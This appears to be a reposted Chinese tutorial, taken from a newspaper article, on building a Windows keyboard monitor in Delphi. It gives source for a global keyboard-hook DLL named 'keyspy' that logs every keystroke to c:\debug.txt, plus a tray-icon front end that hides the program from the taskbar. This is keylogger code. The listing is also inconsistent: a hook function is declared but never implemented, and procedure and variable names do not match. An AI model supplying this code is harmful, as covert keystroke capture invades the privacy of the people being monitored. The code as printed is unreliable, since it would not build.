• 利用Hook技术实现键盘监控 转


    利用Hook技术实现键盘监控


    摘自《计算机世界日报》 (文/卢立建)

    ----在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。

    一、Hook(钩子)的实现:   

      Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。

      1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。 代码如下:
      library keyspy;
      uses windows, messages, hookproc in 'hookproc.pas';
      exports setkeyhook, endkeyhook;
      begin nexthookproc:=0;
      procsaveexit:=exitproc;
      exitproc:=@keyhookexit;
      end.
      2.在Hookproc.pas中实现了钩子具体过程:
      unit hookproc;
      interface uses Windows, Messages, SysUtils, Controls, StdCtrls;
      var nexthookproc:hhook;
      procsaveexit:pointer;
      function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;
      stdcall;
      export;
      function setkeyhook:bool;export;//加载钩子
      function endkeyhook:bool;export;//卸载钩子
      procedure keyhookexit;
      far;
      const afilename='c:\debug.txt';//将键盘输入动作写入文件中
      var debugfile:textfile;
      implementation function keyboardhookhandler(icode:integer;wparam:wparam; lparam:lparam):lresult;
      stdcall;
      export;
      begin if icode<0 then
       begin result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
       exit;
      end;
      assignfile(debugfile,afilename);
      append(debugfile);  
       if getkeystate(vk_return)<0 then
        begin writeln(debugfile,'');
        write(debugfile,char(wparam));
        end
       else write(debugfile,char(wparam));
        closefile(debugfile);
        result:=0;
        end;
      function endkeyhook:bool;
      export;
      begin if nexthookproc<>0 then
       begin unhookwindowshookex(nexthookproc);
       nexthookproc:=0;
       messagebeep(0);
       end;
      result:=hnexthookproc=0;
      end;
      procedure keyhookexit;
      far;
      begin if nexthookproc<>0 then
      endkeyhook;
      exitproc:=procsaveexit;
      end;
      end.

      二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。
      unit kb;   
      interface
      uses
       Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Menus,shellapi;
      const icon_id=1;
       MI_iconevent=wm_user+1;//定义一个用户消息
      type
       TForm1 = class(TForm)
       PopupMenu1: TPopupMenu;
       sethook1: TMenuItem;
       endhook1: TMenuItem;
       N1: TMenuItem;
       About1: TMenuItem;
       Close1: TMenuItem;
       Gettext1: TMenuItem;
       procedure FormCreate(Sender: TObject);
       procedure sethook1Click(Sender: TObject);
       procedure endhook1Click(Sender: TObject);
       procedure FormDestroy(Sender: TObject);
       procedure Close1Click(Sender: TObject);
      private
       { Private declarations }
       nid:tnotifyicondata;
       normalicon:ticon;
      public
       { Public declarations }
      procedure icontray(var msg:tmessage);  
       message mi_iconevent;
      end;

      var
       Form1: TForm1;

      implementation

      {$R *.DFM}

      function setkeyhook:bool;
      external 'keyspy.dll';
      function endkeyhook:bool;
      external 'keyspy.dll';
      procedure tform1.icontray(var msg:tmessage);
      var
       pt:tpoint;
      begin
       if msg.lparam=wm_lbuttondown then
         sethook1click(self);
       if msg.LParam=wm_rbuttondown then
         begin
         getcursorpos(pt);
          setforegroundwindow(handle);
          popupmenu1.popup(pt.x,pt.y);
         end;
      end;

      procedure TForm1.FormCreate(Sender: TObject);
      begin
       normalicon:=ticon.create;
       application.title:=caption;
       nid.cbsize:=sizeof(nid);
       nid.wnd:=handle;
       nid.uid:=icon_id;
       nid.uflags:=nif_icon or nif_message or nif_tip;            
       nid.ucallbackmessage:=mi_iconevent;  
       nid.hIcon :=normalicon.handle;
       strcopy(nid.sztip,pchar(caption));
       nid.uFlags:=nif_message or nif_icon or nif_tip;               shell_notifyicon(nim_add,@nid);
       SetWindowLong(Application.Handle, GWL_EXSTYLE,WS_EX_TOOLWINDOW);
      end;

      procedure TForm1.sethook1Click(Sender: TObject);
      begin setkeyhook;
      end;

      procedure TForm1.endhook1Click(Sender: TObject);
      begin endkeyhook;
      end;

      procedure TForm1.FormDestroy(Sender: TObject);
      begin nid.uFlags :=0;
      shell_notifyicon(nim_delete,@nid);
      end;

      procedure TForm1.Close1Click(Sender: TObject);
      begin application.terminate;

      end;   


      该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。
  • 相关阅读:
    InnoDB实现MVCC原理
    Python中定义函数时参数有默认值的小陷阱
    Python系统编程笔记
    Python中的字典
    Python中常见的字符串小笔试题
    Oracle常见名词解析
    Oracle数据库面试题【转载】
    Oracle日期语言修改
    Oracle日期时间函数大全
    Oracle数据库分页的三种方法
  • 原文地址:https://www.cnblogs.com/liye/p/1643392.html
Copyright © 2020-2023  润新知